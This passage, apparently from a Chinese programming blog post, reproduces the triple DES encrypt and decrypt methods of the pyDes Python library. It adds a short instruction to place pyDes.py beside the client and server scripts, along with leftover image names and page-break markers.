      data = self.__key1.crypt(data, ENCRYPT) 

      data = self.__key2.crypt(data, DECRYPT) 

      return self.__key3.crypt(data, ENCRYPT) 



  def decrypt(self, data, pad=None, padmode=None): 

    """decrypt(data, [pad], [padmode]) -> bytes 



    data : bytes to be encrypted 

    pad  : Optional argument for decryption padding. Must only be one byte 

    padmode : Optional argument for overriding the padding mode. 



    The data must be a multiple of 8 bytes and will be decrypted 

    with the already specified key. In PAD_NORMAL mode, if the 

    optional padding character is supplied, then the un-encrypted 

    data will have the padding characters removed from the end of 

    the bytes. This pad removal only occurs on the last 8 bytes of 

    the data (last data block). In PAD_PKCS5 mode, the special 

    padding end markers will be removed from the data after 

    decrypting, no pad character is required for PAD_PKCS5. 

    """ #p#分页标题#e#

    ENCRYPT = des.ENCRYPT 

    DECRYPT = des.DECRYPT 

    data = self._guardAgainstUnicode(data) 

    if pad is not None: 

      pad = self._guardAgainstUnicode(pad) 

    if self.getMode() == CBC: 

      self.__key1.setIV(self.getIV()) 

      self.__key2.setIV(self.getIV()) 

      self.__key3.setIV(self.getIV()) 

      i = 0 

      result = [] 

      while i < len(data): 

        iv = data[i:i+8] 

        block = self.__key3.crypt(iv,    DECRYPT) 

        block = self.__key2.crypt(block, ENCRYPT) 

        block = self.__key1.crypt(block, DECRYPT) 

        self.__key1.setIV(iv) 

        self.__key2.setIV(iv) 

        self.__key3.setIV(iv) 

        result.append(block) 

        i += 8 

      if _pythonMajorVersion < 3: 

        data = ''.join(result) 

      else: 

        data = bytes.fromhex('').join(result) 

    else: 

      data = self.__key3.crypt(data, DECRYPT) 

      data = self.__key2.crypt(data, ENCRYPT) 

      data = self.__key1.crypt(data, DECRYPT) 

    return self._unpadData(data, pad, padmode)




pyDes.py放在client.py同级目录,server同理。 



3.JPG 

#p#分页标题#e#2.JPG 

1.JPG

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